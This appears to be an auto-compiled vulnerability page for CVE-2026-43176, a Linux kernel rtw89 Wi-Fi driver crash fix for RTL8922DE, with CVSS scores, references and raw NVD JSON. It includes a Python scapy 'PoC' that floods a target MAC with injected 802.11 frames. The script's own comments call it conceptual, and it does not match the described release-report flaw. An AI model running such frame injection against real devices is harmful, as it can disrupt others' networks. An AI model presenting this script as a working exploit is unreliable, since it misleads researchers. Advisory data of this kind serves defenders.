CVE-2026-43176

Description

In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: pci: validate release report content before using for RTL8922DE The commit 957eda596c76 ("wifi: rtw89: pci: validate sequence number of TX release report") does validation on existing chips, which somehow a release report of SKB becomes malformed. As no clear cause found, add rules ahead for RTL8922DE to avoid crash if it happens.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (RTW89 驱动支持 RTL8922DE 的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC Concept for CVE-2026-43176
# This script attempts to send malformed frames to trigger the vulnerability.
# Requires a wireless card capable of packet injection.

from scapy.all import *

def send_malformed_frame(target_mac):
    # Constructing a malformed 802.11 frame that might trigger bad release report
    # Note: Actual trigger conditions depend heavily on firmware/hardware state.
    dot11 = Dot11(type=2, subtype=0, addr1=target_mac, addr2=RandMAC(), addr3=RandMAC())
    payload = b"A" * 1000  # Arbitrary payload to stress SKB handling
    
    # Send frame
    sendp(dot11/payload, iface="wlan0", count=100, inter=0.1, verbose=1)
    print("[+] Malformed frames sent.")

if __name__ == "__main__":
    target = "AA:BB:CC:DD:EE:FF" # Replace with target MAC
    send_malformed_frame(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43176
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43176
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43176/
[4] VulDB https://vuldb.com/cve/CVE-2026-43176
[5] https://git.kernel.org/stable/c/3e8a88b5e8b3506d9c5e031a65ba65ce9a0683a3
[6] https://git.kernel.org/stable/c/5f93d611b33a05bd03d6843c8efe8cb6a1992620
[7] https://git.kernel.org/stable/c/ebeaa3b24ba568ff8505165f954dba15cc53e4b3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43176", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:36.083", "lastModified": "2026-05-12T20:01:03.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw89: pci: validate release report content before using for RTL8922DE\n\nThe commit 957eda596c76\n(\"wifi: rtw89: pci: validate sequence number of TX release report\")\ndoes validation on existing chips, which somehow a release report of SKB\nbecomes malformed. As no clear cause found, add rules ahead for RTL8922DE\nto avoid crash if it happens."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.16", "matchCriteriaId": "E0D300DB-AA68-4962-981D-EF9F5E97AACF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3e8a88b5e8b3506d9c5e031a65ba65ce9a0683a3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f93d611b33a05bd03d6843c8efe8cb6a1992620", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ebeaa3b24ba568ff8505165f954dba15cc53e4b3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}